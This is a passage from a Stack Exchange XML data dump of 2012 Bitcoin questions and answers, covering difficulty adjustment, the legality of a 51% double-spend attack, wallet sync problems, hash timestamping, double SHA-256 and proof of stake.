  <row Id="4305" PostTypeId="2" ParentId="4295" CreationDate="2012-07-29T21:24:08.500" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;This leads me to believe that in the long-term no more than 2016&#xA;  blocks can be found at a rate of more than 1 per 10 minutes. I hope I&#xA;  am being clear.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I think you are probably not being clear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every time the difficulty rises, it means that the last 2016 blocks were found at a rate of more than 1 per 10 minutes.  And so, each time the difficulty rises twice in a row it means that &lt;em&gt;more than&lt;/em&gt; 2016 blocks were found at a rate of more than 1 per 10 minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's quite conceivable that the difficulty will rise two months in a row multiple times in the future, and so the assertion I quoted is incorrect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I guess I misunderstood what you were asking.&lt;/p&gt;&#xA;" OwnerUserId="659" LastEditorUserId="575" LastEditDate="2012-07-30T12:31:00.040" LastActivityDate="2012-07-30T12:31:00.040" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4306" PostTypeId="1" AcceptedAnswerId="4307" CreationDate="2012-07-29T23:21:02.093" Score="9" ViewCount="2875" Body="&lt;p&gt;Suppose I had an ultra large ASIC from the future, and could perform a double spend on the core Bitcoin network. At this point in Bitcoin's development, it is no longer a game - there's real money involved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would performing a successful double spend be considered illegal (e.g. in the U.S / Europe)?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="5406" LastEditDate="2015-06-09T23:06:13.770" LastActivityDate="2017-12-14T04:32:35.800" Title="Is performing a 51% attack / double spend on Bitcoin illegal?" Tags="|legal|doublespend|majority-attack|" AnswerCount="7" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="4307" PostTypeId="2" ParentId="4306" CreationDate="2012-07-30T04:33:03.350" Score="3" Body="&lt;p&gt;The only way I could see a double spend attack being illegal in any part of the world would be if there was some kind of law that automatically recognises international alternative currencies in the first place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm no lawyer, but I've never heard any mention of such a law existing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Proprietary systems that create currency, points or tokens often have some kind of contract or T&amp;amp;C's that promise to give you something in return for the units and they also have conditions that you must meet to use them. Bitcoin however has no such contract for users to agree to, and no central authority to form an agreement with. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further to that, even if a law in one particular country somehow made a double spend attack illegal, the international nature of Bitcoin means the attack could be performed from elsewhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that it may not be in your best interest to perform a double spend attack either. A successful, sizeable double spend would likely draw widespread attention and could shake the confidence in Bitcoin, maybe causing the price to plummet. Quietly mining 51% of the coins over a long period would likely earn you more profit.&lt;/p&gt;&#xA;" OwnerUserId="516" LastActivityDate="2012-07-30T04:33:03.350" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4308" PostTypeId="2" ParentId="4306" CreationDate="2012-07-30T07:41:38.450" Score="1" Body="&lt;p&gt;Mining isn't necessarily any different between when done with 2% of mining power than with 52% -- you are simply performing hashes and solving blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now when you have more than 50%, the options available to you change.  You have the ability to do a transaction, to let that transaction get a confirmation maybe even, and then to release blocks that make it as if that original transaction never happened and to spend the coins a second time to secure the funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You really can't double spend accidentally.  So that would be an action performed with the intent to defraud.  Nearly everywhere fraud is illegal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now whether a Bitcoin double spend would be something that a jury would convict on, who knows.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-07-30T19:55:49.863" LastActivityDate="2012-07-30T19:55:49.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4309" PostTypeId="2" ParentId="4306" CreationDate="2012-07-30T07:47:14.597" Score="2" Body="&lt;p&gt;It's probably not criminal in many jurisdictions. It should be fraud, but it's not quite in most jurisdictions. For example, in the United States, the &lt;a href=&quot;http://en.wikipedia.org/wiki/Fraud#United_States&quot; rel=&quot;nofollow&quot;&gt;elements of fraud&lt;/a&gt; are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;a representation of an existing fact;&#xA;its materiality;&#xA;its falsity;&#xA;the speaker's knowledge of its falsity;&#xA;the speaker's intent that it shall be acted upon by the plaintiff;&#xA;plaintiff's ignorance of its falsity;&#xA;plaintiff's reliance on the truth of the representation;&#xA;plaintiff's right to rely upon it; and&#xA;consequent damages suffered by plaintiff.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All of these are clearly met by the typical double spend except the first one. There really is no &quot;existing fact&quot; that is misrepresented.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you can certainly be sued for unjust enrichment and breach of the implied covenant of good faith and fair dealing implicit in any agreement.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2012-07-30T07:47:14.597" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4310" PostTypeId="1" CreationDate="2012-07-30T13:45:03.950" Score="1" ViewCount="1371" Body="&lt;p&gt;For 5 days now my block download has been frozen at 57%. I tried downloading a new wallet to a different computer (which did download all the way), but I can't figure out how to pull the information from my frozen wallet to this one so I can recieve my bitcoins. Or how to get the blocks to finish downloading on my original wallet. Any help would be much appreciated, I need my money asap!&lt;/p&gt;&#xA;" OwnerUserId="1649" LastActivityDate="2012-07-30T14:02:43.617" Title="Bitcoin Block Download frozen" Tags="|blockchain|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4311" PostTypeId="2" ParentId="4292" CreationDate="2012-07-30T13:45:43.607" Score="0" Body="&lt;p&gt;Another option: &lt;a href=&quot;http://www.aurumxchange.com&quot; rel=&quot;nofollow&quot;&gt;Aurumxchange.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have used them for SEPA transfers and it worked like a charm.&lt;/p&gt;&#xA;" OwnerUserId="1121" LastActivityDate="2012-07-30T13:45:43.607" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4312" PostTypeId="2" ParentId="4269" CreationDate="2012-07-30T13:49:32.867" Score="2" Body="&lt;p&gt;Another option, buy/issue shares or bonds: &lt;a href=&quot;https://cryptostocks.com&quot; rel=&quot;nofollow&quot;&gt;Cryptostocks.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1121" LastActivityDate="2012-07-30T13:49:32.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4313" PostTypeId="2" ParentId="4243" CreationDate="2012-07-30T13:58:51.203" Score="0" Body="&lt;p&gt;I have used &lt;a href=&quot;http://www.aurumxchange.com&quot; rel=&quot;nofollow&quot;&gt;Aurumxchange.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for SEPA transfers. Buy their VouchX with and then redeem them on any of the exchanges suppporting them, e.g. you can redeem them without fees at &lt;a href=&quot;https://vircurex.com&quot; rel=&quot;nofollow&quot;&gt;Vircurex.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1121" LastActivityDate="2012-07-30T13:58:51.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4314" PostTypeId="2" ParentId="4310" CreationDate="2012-07-30T14:02:43.617" Score="1" Body="&lt;p&gt;Lets start with the version of the bitcoin wallet that you are running. Are you running the latest version 0.6.3?&#xA;Second, which OS are you using, It'll help us to tell you which files to delete in order to restart the chain download. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Delete the blockchain data and reload the chain.  !!! Do not delete the files wallet.dat, addr.dat and bitcoin.conf. Except for those, stop the wallet, delete all other files, restart the wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The files you'll see and that you can delete are, e.g. blk0001.dat, blk0002.dat, blkindex.dat, *.log, peers.dat, the whole subdirectory 'database'&lt;/p&gt;&#xA;" OwnerUserId="1121" LastActivityDate="2012-07-30T14:02:43.617" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="4315" PostTypeId="1" AcceptedAnswerId="4316" CreationDate="2012-07-30T17:24:04.747" Score="11" ViewCount="4865" Body="&lt;p&gt;If I want to prove that I wrote a particular document before a certain point in time, it would be sufficient to generate the sha256 hash of the document and somehow arrange for that hash to appear in the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an easy way to do that simply by sending a transaction and leaving it to the miners to arrange for it to get into the blockchain for me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way that occurs to me is that I can treat the hash as a private key (bitaddress.org will tell me the address and private key that corresponds to any given input), and send a Bitcoin to the corresponding address.  Then when I publish the document anyone can go through the same process and see the date of the transaction in the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That seems a little convoluted.  Is there a simpler way?  Ideally free, not computationally intensive, and not requiring any special software to make the timestamp or to verify it.&lt;/p&gt;&#xA;" OwnerUserId="659" LastEditorUserId="659" LastEditDate="2012-07-30T20:33:55.100" LastActivityDate="2023-08-30T23:22:18.870" Title="how can I insert an arbitrary sha256 hash into the blockchain?" Tags="|blockchain|timestamp|hash|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4316" PostTypeId="2" ParentId="4315" CreationDate="2012-07-30T20:23:52.903" Score="7" Body="&lt;p&gt;You can encode any arbitrary data using the Bitcoin &lt;a href=&quot;https://en.bitcoin.it/wiki/Script&quot; rel=&quot;noreferrer&quot;&gt;script&lt;/a&gt;'s OP_PUSH and OP_DROP commands. For this, however, you would need some custom Bitcoin client, as the standard one does not allow you to send messages like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you could just use the hash as a part of the generation of a &lt;a href=&quot;https://en.bitcoin.it/wiki/Technical_background_of_version_1_Bitcoin_addresses&quot; rel=&quot;noreferrer&quot;&gt;Bitcoin address&lt;/a&gt; and store it in the Block chain by destroying one satoshi on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There should be a topic covering encoding of any data into the Blockchain somewhere on this StackExchange, so you can also have a look at that.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-07-30T20:23:52.903" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4317" PostTypeId="1" AcceptedAnswerId="4318" CreationDate="2012-07-30T20:44:18.460" Score="9" ViewCount="2079" Body="&lt;p&gt;Each blocked is hashed twice. Why isn't one application of SHA256 enough?&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2022-02-22T10:40:46.470" Title="Why does Bitcoin use two rounds of SHA256?" Tags="|protocol|hash|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4318" PostTypeId="2" ParentId="4317" CreationDate="2012-07-30T21:52:01.200" Score="13" Body="&lt;p&gt;From &lt;a href=&quot;https://crypto.stackexchange.com/a/884&quot;&gt;Zooko's answer provided in Crypto StackExchange&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;SHA-256(SHA-256(x)) was proposed by Ferguson and Schneier in their&#xA;  excellent book &quot;Practical Cryptography&quot; (later updated by Ferguson,&#xA;  Schneier, and Kohno and renamed &quot;Cryptography Engineering&quot;) as a way&#xA;  to make SHA-256 invulnerable to &quot;length-extension&quot; attack. They called&#xA;  it &quot;SHA-256d&quot;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="153" LastEditorUserId="-1" LastEditDate="2017-04-13T12:48:25.933" LastActivityDate="2012-07-30T21:52:01.200" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4319" PostTypeId="1" CreationDate="2012-07-31T05:44:46.300" Score="1" ViewCount="156" Body="&lt;p&gt;hello sir I have getting some problem to my bitcoin client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am backup of my old wallet.dat and again install the btc client but this new client my old address is not showing and also my balance of old wallet $3.99 is where gone........ &lt;/p&gt;&#xA;&#xA;&lt;p&gt;pls. check my balance and help me for solving this problem&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blockexplorer.com/address/149ZUavxLWurrVkeXBJsh7X7gELB7i9PuP&quot; rel=&quot;nofollow&quot;&gt;http://blockexplorer.com/address/149ZUavxLWurrVkeXBJsh7X7gELB7i9PuP&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pls. help me sir what can i do &lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="1651" LastActivityDate="2012-07-31T15:59:11.547" Title="I am reinstall my btc but balance and address not oldone?" Tags="|transactions|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4320" PostTypeId="1" AcceptedAnswerId="4322" CreationDate="2012-07-31T07:46:51.490" Score="2" ViewCount="1308" Body="&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Proof_of_Stake&quot; rel=&quot;nofollow&quot;&gt;Proof of Stake&lt;/a&gt; is a proposed modification to the Bitcoin protocol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=96854.msg1067411#msg1067411&quot; rel=&quot;nofollow&quot;&gt;maaku claimed&lt;/a&gt; that it doesn't require a hard fork / alt chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this true?&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2012-08-06T20:57:46.803" Title="Is Proof of Stake a hard-fork?" Tags="|alternatives|blockchain-fork|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4321" PostTypeId="2" ParentId="4320" CreationDate="2012-07-31T08:18:31.053" Score="1" Body="&lt;p&gt;If proof-of-stake is adopted and someone succeeds in attacking proof-of-work but doesn't meet the new proof-of-stake rules, the network will split: old clients will go with the attacker and new clients won't. So I would say that proof-of-stake is a hard-fork change. A fork might be avoided if no one tries this attack, but you can't rely on that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This doesn't mean that you can't do the change without causing chaos, though. A totally backward-incompatible change &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2788/what-are-the-february-20-changes-to-the-bitcoin-protocol&quot;&gt;occurred in February&lt;/a&gt; without much turbulence, for example, though this change required two years of planning in advance. A similar gradual roll-out could be done for something like proof-of-stake.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(&lt;em&gt;I don't actually think proof-of-stake is a good idea.&lt;/em&gt;)&lt;/p&gt;&#xA;" OwnerUserId="403" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2012-07-31T08:18:31.053" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4322" PostTypeId="2" ParentId="4320" CreationDate="2012-07-31T09:58:14.920" Score="3" Body="&lt;p&gt;It depends on what PoS system is considered (or not, since I think the answer is the same either way).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cunicula's system is completely different from what we have now. There's no way to &quot;half&quot; switch to it since a block which is valid in the current system means nothing in his system, and vice versa.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My system uses a skeleton which resembles the current system, so in theory you could solicit signatures in parallel and let anyone use them or not as he pleases. As theymos says a fork will still occur once there's a disagreement between the two systems about which is valid; and anyway, I think the process of collecting signatures and embedding them in the blockchain requires enough rethinking of the network that it is meaningless to regard it as anything but a hard fork.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, even if you make an entirely new alt for it, you can always provide a built-in mechanism to allow bitcoin owners to import or copy their wealth, to make sure the early adopters of decentralized digital currencies at large don't suffer from the advent of a new and potentially better alternative to the original Bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-07-31T09:58:14.920" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4324" PostTypeId="2" ParentId="1480" CreationDate="2012-07-31T13:38:20.573" Score="6" Body="&lt;p&gt;Blockchain.info has recently started up a dedicated mixing service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/wallet/send-anonymously&quot;&gt;Send Anonymously with Blockchain&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As they were offering bonus payouts at the start I sent money via the service and it was quickly forwarded to the correct account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To confirm how they mix the coins and the amount of taint remaining you can check the source code on github.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/blockchain/&quot;&gt;Source code&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2012-07-31T13:38:20.573" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4325" PostTypeId="2" ParentId="4319" CreationDate="2012-07-31T15:52:57.623" Score="2" Body="&lt;p&gt;With the Bitcoin.org client, the balance is calculated based on data in the blockchain data files.  If those files haven't finished updating, the calculation will not be current.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way to check on this depends on which version of the Bitcoin.org client you are using.  The most recent versions (v0.6.x) will show the status at the bottom.  If is says &quot;Synchronizing with network ...&quot; then your balance may not show correctly until it has completed successfully.  When it is completed then a green check-mark will show in the bottom right-hand corner of the client.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-07-31T15:59:11.547" LastActivityDate="2012-07-31T15:59:11.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4326" PostTypeId="2" ParentId="4257" CreationDate="2012-07-31T16:45:41.733" Score="3" Body="&lt;p&gt;It is trivial for solo miners to use tor to hide IP adresses. This defeats mentioned above frequency analysis attack.&lt;/p&gt;&#xA;" OwnerUserId="1654" LastActivityDate="2012-07-31T16:45:41.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4327" PostTypeId="1" AcceptedAnswerId="4333" CreationDate="2012-07-31T18:35:49.193" Score="7" ViewCount="1963" Body="&lt;p&gt;If I spend the entire balance in my wallet to another address in my own wallet, do I need to wait until it gets one confirmation in order to spend it, or does the client know it is my own funds and that it can be spent?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be &lt;a href=&quot;http://bitcointalk.org/index.php?topic=96885.0&quot;&gt;done via RPC&lt;/a&gt;, but this question is specifically referring to using the bitcoin-qt client for this.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-08-01T18:39:48.260" Title="Can I spend a coin sent to myself before it confirms?" Tags="|transactions|client|confirmations|zero-confirmation|funds|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4329" PostTypeId="1" CreationDate="2012-08-01T11:18:46.027" Score="8" ViewCount="6629" Body="&lt;p&gt;I need to find what the Bitcoin-Mt. Gox USD price was at certain historic dates and times (exact timestamp).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a website where I can input a specific historic date+time, and get the rate for that time?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe that &lt;a href=&quot;http://bitcoincharts.com/about/markets-api/&quot;&gt;Bitcoin Chart's API&lt;/a&gt; might do the trick ... but I'm asking about a website with a UX, not an API.&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2017-01-12T00:14:41.550" Title="Is there a website that shows historic price data?" Tags="|mtgox|exchange-rate|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4330" PostTypeId="2" ParentId="408" CreationDate="2012-08-01T12:21:24.967" Score="3" Body="&lt;p&gt;The value of bitcoin stems from scarcity and usefulness. Scarcity is set (21 million) and hoarding just increases the demand.&lt;br /&gt;&#xA;Now does hoarding hurt the usefulness of bitcoin ?&lt;br /&gt;&#xA;Bitcoins are useful to transfer value from A to B over the internet.&lt;br /&gt;&#xA;To transfer value requires a certain amount of bitcoins, corresponding to a price denominated in central money.Let's say a buyer wants to purchase a 10-dollar item using the bitcoin network.He/she buys 10 dollar worth of bitcoin, let's say 1 bitcoin for simplicity, from a bitcoin payment processor that will send it to the seller. The seller in turn may want to cash out the bitcoin for 10 dollars after x number of confirmations i.e x times 10 minutes. &#xA;The processing of the transaction has created a demand for 1 bitcoin for x times ten minutes.&lt;br /&gt;&#xA;The more transactions are processed using bitcoins, the higher the demand for bitcoins. Hoarding has no effect on the ability of the bitcoin network to process transactions: volatility does. If the exchange rate varies widly in a 10-minute interval, then the payment processor cost of hedging the exchange rate risk goes up. The payment processor passes the cost of hedging in fees applied to the sellers: the cost of accepting payments through the bitcoin network goes up. In the end, if the hedging fees become higher than the bank card fees, then the seller may end up refusing payments through the bitcoin network. However the likelihood of the bitcoin volatility becoming so high is rather thin: even with the small volume and active speculation that we experience today, the volatility is perfectly manageable over a period of 1-hour (6 confirmations) with fees far more attractive than the bank card fees.&lt;/p&gt;&#xA;" OwnerUserId="1657" LastEditorUserId="1657" LastEditDate="2012-08-01T12:27:32.320" LastActivityDate="2012-08-01T12:27:32.320" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4332" PostTypeId="2" ParentId="4327" CreationDate="2012-08-01T18:36:37.420" Score="1" Body="&lt;p&gt;I think you can. You definitely can do it from bitcoind (and it was possible with wxbitcoin), and I don't see any extra code that would prevent it. There's no reason for it to be prevented. I haven't tried it, though.&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2012-08-01T18:36:37.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4333" PostTypeId="2" ParentId="4327" CreationDate="2012-08-01T18:39:48.260" Score="9" Body="&lt;p&gt;Yes.  Unlike other transactions you don't need to wait for the confirmations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the code which selects which coins to use to fund a transaction in &lt;code&gt;src/wallet.cpp&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bool CWallet::SelectCoins(int64 nTargetValue, [...])&#xA;{&#xA;    vector&amp;lt;COutput&amp;gt; vCoins;&#xA;    AvailableCoins(vCoins);&#xA;&#xA;    return (SelectCoinsMinConf(nTargetValue, 1, 6, vCoins, setCoinsRet, nValueRet) ||&#xA;            SelectCoinsMinConf(nTargetValue, 1, 1, vCoins, setCoinsRet, nValueRet) ||&#xA;            SelectCoinsMinConf(nTargetValue, 0, 1, vCoins, setCoinsRet, nValueRet));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where &lt;code&gt;SelectCoinsMinConf&lt;/code&gt;'s 2nd and 3rd arguments are &quot;number of confirmations a coin needs if it's from me&quot; and &quot;number of confirmations a coin needs if it's from someone else&quot; respectively:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bool CWallet::SelectCoinsMinConf(int64 nTargetValue, int nConfMine, int nConfTheirs, [...])&#xA;{&#xA;    [...]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So what's happening is the code first tries to fund the transaction using only coins you sent to yourself which have at least 1 confirmation and coins from others with at least 6 confirmations.  If it can't find enough that way, it tries again but only requiring 1 confirmation on the coins no matter where they came from.  And if that also fails, it relaxes the requirement for confirmations on coins you sent to yourself.&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-08-01T18:39:48.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4334" PostTypeId="1" CreationDate="2012-08-01T19:43:06.090" Score="3" ViewCount="94" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3034/how-to-restore-locally-a-mywallet-backup&quot;&gt;How to restore locally a MyWallet backup?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;I have blockchain.info backups, but I never test them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I make sure they work?&#xA;What client should I load them into, and how?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just want to load the wallet and do a test transfer, so the wallet doesn't have to be very fully featured etc... does Electrum support this kind of import? (I want to save on blockchain download)&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2012-08-01T19:43:06.090" Title="How to import blockchain.info wallet file?" Tags="|blockchain.info|" AnswerCount="0" CommentCount="1" ClosedDate="2012-08-13T09:17:47.587" ContentLicense="CC BY-SA 3.0" />
  <row Id="4335" PostTypeId="1" CreationDate="2012-08-02T00:41:02.803" Score="6" ViewCount="271" Body="&lt;p&gt;There are n developers with commit privileged.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After one of them merges a pull request, how many eyes review that code? When? Is a complete (holistic) code review done before releasing a version? Does every line gets reviewed by at least one other person?&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2012-11-17T18:36:28.457" Title="What is the formal code review process of the standard client?" Tags="|bitcoin-core|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4336" PostTypeId="2" ParentId="4271" CreationDate="2012-08-02T03:44:59.377" Score="5" Body="&lt;p&gt;If it was me, I'd travel back in time to when bitcoins were practically worthless and offer to buy someone a pizza in return for 10,000 BTC. That would make a nice little nest egg for the future...&lt;/p&gt;&#xA;" OwnerUserId="516" LastActivityDate="2012-08-02T03:44:59.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4337" PostTypeId="1" CreationDate="2012-08-02T05:49:30.953" Score="2" ViewCount="268" Body="&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Two-factor_paper_wallet&quot; rel=&quot;nofollow&quot;&gt;I just created this wiki page&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm coining the term here, I think ... not sure what was it called when discussed on Bitcointalk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: Has anyone implemented this &quot;2 factor paper wallet&quot;? Is it being worked on?&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2012-08-02T05:49:30.953" Title="Is anyone working on / has implemented a &quot;two-factor paper wallet&quot;?" Tags="|wallet|security|two-factor|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4338" PostTypeId="1" CreationDate="2012-08-03T03:29:24.430" Score="2" ViewCount="402" Body="&lt;p&gt;&lt;a href=&quot;http://largecoin.com/&quot; rel=&quot;nofollow&quot;&gt;LargeCoin&lt;/a&gt; announced their ASIC mining technology &lt;a href=&quot;https://bitcointalk.org/index.php?topic=67505.0&quot; rel=&quot;nofollow&quot;&gt;back in March 2012&lt;/a&gt;, with an estimated delivery of July 2012.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;ttul&quot; in Bitcointalk, who made the announcement, also said &quot;Expected delivery is July 2012. &lt;a href=&quot;https://bitcointalk.org/index.php?topic=67505.msg797975#msg797975&quot; rel=&quot;nofollow&quot;&gt;If we miss our delivery deadline, then we will return deposits in full.&lt;/a&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have they delivered any units? Did anyone order any? Has there been a more recent comment anywhere on when they will deliver?&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="5406" LastEditDate="2016-02-03T10:36:39.680" LastActivityDate="2016-02-03T10:36:39.680" Title="Has LargeCoin shipped any hardware yet?" Tags="|asic|mining-hardware|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4339" PostTypeId="2" ParentId="4338" CreationDate="2012-08-03T04:14:28.097" Score="2" Body="&lt;p&gt;Some people pre-ordered Largecoin units, but they never took deposits from anyone.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-08-03T04:14:28.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4340" PostTypeId="1" AcceptedAnswerId="4343" CreationDate="2012-08-03T10:53:09.963" Score="3" ViewCount="560" Body="&lt;p&gt;I was reading about Google's Fiber installations, with first deployment in Kansas City.  There's a controversy where the terms of service restricts what services can run on their Fiber network. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some relevant items:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.dslreports.com/shownews/Kansas-City-Google-Fiber-Rallies-Take-Off-Running-120594&quot; rel=&quot;nofollow&quot;&gt;http://www.dslreports.com/shownews/Kansas-City-Google-Fiber-Rallies-Take-Off-Running-120594&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&quot;Can I run a server from my home?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Google Fiber is intended as a residential Internet service. Our Terms of Service prohibit running a server.&quot;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://fiber.google.com/legal/network.html&quot; rel=&quot;nofollow&quot;&gt;http://fiber.google.com/legal/network.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Would running the bitcoin node on Google Fiber be considered to be a server, and thus prohibited?&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="196" LastEditDate="2012-08-03T15:08:34.697" LastActivityDate="2012-08-09T00:55:12.177" 